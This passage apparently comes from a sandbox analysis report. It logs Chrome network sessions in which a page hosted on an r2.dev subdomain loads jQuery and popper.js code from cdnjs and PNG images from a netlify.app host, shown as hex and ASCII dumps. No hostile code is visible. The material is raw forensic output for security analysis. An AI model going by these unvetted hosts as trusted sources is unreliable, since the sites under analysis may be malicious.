2025-03-13 09:09:50 UTC	4789	IN	Data Raw: 3d 62 2e 6a 73 6f 6e 70 21 3d 3d 21 31 26 26 28 52 62 2e 74 65 73 74 28 62 2e 75 72 6c 29 3f 22 75 72 6c 22 3a 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 2e 64 61 74 61 26 26 30 3d 3d 3d 28 62 2e 63 6f 6e 74 65 6e 74 54 79 70 65 7c 7c 22 22 29 2e 69 6e 64 65 78 4f 66 28 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 29 26 26 52 62 2e 74 65 73 74 28 62 2e 64 61 74 61 29 26 26 22 64 61 74 61 22 29 3b 69 66 28 68 7c 7c 22 6a 73 6f 6e 70 22 3d 3d 3d 62 2e 64 61 74 61 54 79 70 65 73 5b 30 5d 29 72 65 74 75 72 6e 20 65 3d 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 3d 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 29 3f 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 Data Ascii: =b.jsonp!==!1&&(Rb.test(b.url)?"url":"string"==typeof b.data&&0===(b.contentType\|\|"").indexOf("application/x-www-form-urlencoded")&&Rb.test(b.data)&&"data");if(h\|\|"jsonp"===b.dataTypes[0])return e=b.jsonpCallback=r.isFunction(b.jsonpCallback)?b.jsonpCallb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49735	104.17.24.14	443	6868	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:09:49 UTC	744	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive Origin: https://pub-160645733abe48e1a173755d32058a26.r2.dev sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:09:50 UTC	961	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:09:49 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 27815 Expires: Tue, 03 Mar 2026 09:09:49 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pQxYs9fpExqnXfHTWBgHGcWfPl7edpJ8fcRZAWz5Xn9DgFK6o349gDrRqXyiPDf3nnU%2F9bIqulJs%2FB2nJC%2F3GnY0nQE4LWAx71%2FiQNwrCkE%2Bxic1aW4D3o0KN5Wix4zQ8F7ipUQg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 91fa650b0fd462f4-ORD alt-svc: h3=":443"; ma=86400
2025-03-13 09:09:50 UTC	408	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2025-03-13 09:09:50 UTC	1369	IN	Data Raw: 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e Data Ascii: ==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#documen
2025-03-13 09:09:50 UTC	1369	IN	Data Raw: 29 7b 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 Data Ascii: ){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['bor
2025-03-13 09:09:50 UTC	1369	IN	Data Raw: 6f 70 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 Data Ascii: op:p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}retu
2025-03-13 09:09:50 UTC	1369	IN	Data Raw: 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 Data Ascii: ight:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.w
2025-03-13 09:09:50 UTC	1369	IN	Data Raw: 6c 65 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 Data Ascii: le.warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={inst
2025-03-13 09:09:50 UTC	1369	IN	Data Raw: 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 Data Ascii: his.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{pas
2025-03-13 09:09:50 UTC	1369	IN	Data Raw: 74 75 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 Data Ascii: turn o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){re
2025-03-13 09:09:50 UTC	1369	IN	Data Raw: 74 75 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f Data Ascii: turn''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}functio
2025-03-13 09:09:50 UTC	1369	IN	Data Raw: 74 75 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b Data Ascii: turn o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49740	3.124.100.143	443	6868	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:09:52 UTC	660	OUT	GET /mgs/d2.png HTTP/1.1 Host: polynethub.netlify.app Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:09:53 UTC	421	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 52858 Cache-Control: public,max-age=0,must-revalidate Cache-Status: "Netlify Edge"; hit Content-Length: 8432 Content-Type: image/png Date: Thu, 13 Mar 2025 09:09:52 GMT Etag: "5b7dea020bc67c769ded6acd97eea7a4-ssl" Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01JP7C8VKF8MRRA77E4RRYT35P Connection: close
2025-03-13 09:09:53 UTC	765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 ab 00 00 00 81 08 06 00 00 00 bf df 4a 49 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 20 85 49 44 41 54 78 5e ed 9d 87 7f 54 45 d7 c7 df bf 42 7d 49 21 1d 12 40 05 95 c7 e7 55 1f 20 20 02 0f 22 20 28 28 88 82 74 01 a9 e9 21 09 55 50 14 05 29 4a 93 0e d2 a5 77 50 3a 81 10 48 08 84 40 2a 09 69 24 21 09 04 c8 79 e7 cc ce 4d b6 9c ad f7 ee ee ac e6 7c 3e df 0f 65 77 e7 ce dc f9 dd 33 67 ea fd 1f 68 b2 26 f3 10 b3 49 ac f9 67 76 c0 83 73 db c4 bf 9a ec ef 66 cf 6b 2a e0 68 dc 07 90 93 76 45 fc 8f 9c 66 55 ac 35 95 0f 61 da 7f 9a 41 5c b8 17 9c 1e f7 0a 54 1c 5b 0a 4f cb f2 c4 a7 4d e6 c9 56 93 Data Ascii: PNGIHDRJIsRGBgAMAapHYsod IDATx^TEB}I!@U " ((t!UP)JwP:H@i$!yM\|>ew3gh&IgvsfkhvEfU5aA\T[OMV
2025-03-13 09:09:53 UTC	2372	IN	Data Raw: 6c e6 8d 39 35 32 10 e2 3b 7b f3 3e 06 55 5f e6 98 f5 a1 9c a1 80 59 b1 da 12 02 50 44 b3 b0 60 6e 77 5f 48 1e 6b 1a 16 18 83 de 36 87 05 ff c5 6b c7 41 6d c6 69 71 e5 26 33 b6 67 15 85 50 71 f2 57 c8 9f d7 45 34 f3 b4 38 f5 d9 f2 09 36 fb 8d 3d 7d 7b 88 eb de 02 72 d2 e5 0b 05 48 b1 da 13 02 50 60 58 80 7f ee ff dc 7c 58 60 0c 0f 13 92 de 84 87 07 be 87 ba a2 4c 91 93 7f b6 55 a7 ec 85 c2 65 83 20 27 3a 0c 72 e2 5e 21 45 69 cc 8d 89 c1 b0 b0 97 9f cd cd 3e 05 0f 05 96 cc 14 b9 90 c7 48 b1 5e dc bb c9 ee 10 80 02 c3 02 9c 1d c9 9e 4a 0b 94 02 3b 64 b9 31 2f 43 e1 0f bd a0 ea dc 26 a8 7f fc 48 e4 ea 9f 61 8f ef 5d 86 d2 df a3 b9 38 b1 47 4f 09 d2 1c c7 87 07 f0 7b 6e 6f b3 4f 21 63 28 40 8a d5 d1 10 80 02 9b a2 59 ef f9 c0 85 31 d6 c3 02 63 f2 58 93 97 c3 Data Ascii: l952;{>U_YPD`nw_Hk6kAmiq&3gPqWE486=}{rHP`X\|X`LUe ':r^!Ei>H^J;d1/C&Ha]8GO{noO!c(@Y1cX
2025-03-13 09:09:53 UTC	538	IN	Data Raw: 75 bc dc db 3f c0 21 2b dc cd 5a 74 ef 96 a8 79 f9 cc aa 58 77 2c 88 72 db 42 ec 84 ce cd 60 ff 50 1f 3e 4e 79 c0 8e f7 c0 5a 02 07 f1 b5 12 6b 79 82 36 79 c2 17 80 e0 fb 56 97 f5 f5 81 85 ef bb c7 cb 62 d3 3f b3 6f 5b 29 c7 57 15 33 2b 56 0c ae 67 f7 7f 03 62 ba b8 76 5b f6 f7 3d bd 60 ff 97 7e 90 1d e3 cf 3a 30 ba 1e f7 d5 f1 da 88 02 c1 41 7c ad c4 8a 87 5a 50 d7 70 94 c2 38 dd 71 99 65 09 cd 21 79 62 00 ac ee ef 0d 71 e1 f4 7d 72 16 e8 98 8e fe b6 50 a8 40 2e 33 2b d6 d2 82 6c 97 4c b9 c6 74 6a 06 ab fa 79 c3 a5 af 03 a0 94 55 d2 43 56 59 0d 62 9a 15 08 25 f1 f6 f7 f8 2d 81 83 f8 c6 a2 73 14 1c b3 a5 ae e1 28 78 7a 8c fe e2 f0 8a 19 fe fc df 77 a3 fd e1 8f 2f 7c e1 db 1e ce f7 ba b1 ef 05 c1 fe 65 73 84 0a e4 32 8b 61 40 56 ca 39 b2 40 6a 99 d7 dd 0b Data Ascii: u?!+ZtyXw,rB`P>NyZky6yVb?o[)W3+Vgbv[=`~:0A\|ZPp8qe!ybq}rP@.3+lLtjyUCVYb%-s(xzw/\|es2a@V9@j
2025-03-13 09:09:53 UTC	4744	IN	Data Raw: 57 24 f9 f3 fb 9f 3e 2d 00 36 7d e2 c3 cf ff a2 ea 4b 01 fb 26 f7 ef a4 8b 9a 96 d7 6c 16 2b da 8a 69 83 0c c6 5c 13 bb 34 83 0d 03 bd e1 c6 d4 40 fe 64 57 68 e1 b1 9c d8 fc 2b 60 65 52 d7 b6 07 14 ab b9 85 d7 5a 61 4b 38 60 0d f4 ba 95 ac 15 c8 8f f5 87 a3 23 fd e0 c7 5e 86 c2 c5 de ff cd 73 f2 be 51 5c df ec 12 eb d3 ba 27 b0 78 68 47 38 3c dc 0f f2 58 e1 b1 79 c7 9b 41 dd 24 87 c0 e6 7f ba 73 05 80 e0 60 3e 79 7d 3b 40 b1 5a 5a 78 ad 05 98 3e 75 6d 35 60 27 ad 3c b1 39 5c 9b 1c 00 1b 07 05 c0 f9 3d eb 45 ed ca 6f 76 89 15 ad fc e4 52 e6 fd 34 14 68 03 d8 fc 6b 37 9e 6a 09 1c cc a7 f3 60 3b d8 02 60 6c 49 a5 af 25 b8 4a cc d1 70 c0 1a 0f e7 b6 12 b5 ea 19 66 b7 58 1f af 1b 48 16 5c 2d ae 68 fe 15 b4 5a 80 6d cb c2 6b 2d d0 22 1c 20 99 17 0a cf ef 5f 17 Data Ascii: W$>-6}K&l+i\4@dWh+`eRZaK8`#^sQ\'xhG8<XyA$s`>y};@ZZx>um5`'<9\=EovR4hk7j`;`lI%JpfXH\-hZmk-" _
2025-03-13 09:09:53 UTC	13	IN	Data Raw: 36 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: 6IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49741	3.124.100.143	443	6868	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:09:52 UTC	662	OUT	GET /mgs/main.png HTTP/1.1 Host: polynethub.netlify.app Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:09:53 UTC	422	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 1 Cache-Control: public,max-age=0,must-revalidate Cache-Status: "Netlify Edge"; fwd=miss Content-Length: 5335 Content-Type: image/png Date: Thu, 13 Mar 2025 09:09:53 GMT Etag: "6d578b34826b9d260c17071c996c2506-ssl" Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01JP7C8VP0W2781160WTW6NADH Connection: close
2025-03-13 09:09:53 UTC	764	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 06 00 00 00 61 08 03 00 00 00 9a 8f 99 59 00 00 01 44 50 4c 54 45 ff ff ff 15 15 15 f5 84 1f 76 3d 1a e1 76 24 00 00 00 cc 61 28 12 12 12 c0 ac 9d ea ea ea d4 be b1 6f 6f 6f 10 10 10 1f 1f 1f 0a 0a 0a df df df d5 d5 d5 66 66 66 8c 8c 8c 9d 9d 9d be be be 2c 2c 2c c5 c5 c5 f9 f9 f9 f5 80 10 f8 ae 7c 81 81 81 76 76 76 f0 80 20 71 3a 1a 05 05 05 ec ec ec 49 49 49 82 75 6b 00 03 15 71 33 00 af af af 3f 3f 3f d5 69 26 a5 a5 a5 36 36 36 e8 7b 22 51 51 51 97 97 97 c1 c1 c1 5a 5a 5a e0 72 1a 6a 6a 6a 31 31 31 dc 71 25 df 6d 00 6a 25 00 85 45 1b 73 38 10 1f 33 46 ff 88 1c f9 e3 d5 f5 d6 c3 94 4d 1c c6 68 21 e5 8c 4e fb ee e5 f1 c1 a1 bd a6 9a a8 58 1e 0c 30 47 ec af 87 db 98 6c d5 bb aa de d4 cc e2 7c 31 89 Data Ascii: PNGIHDRaYDPLTEv=v$a(ooofff,,,\|vvv q:IIIukq3???i&666{"QQQZZZrjjj111q%mj%Es83FMh!NX0Gl\|1
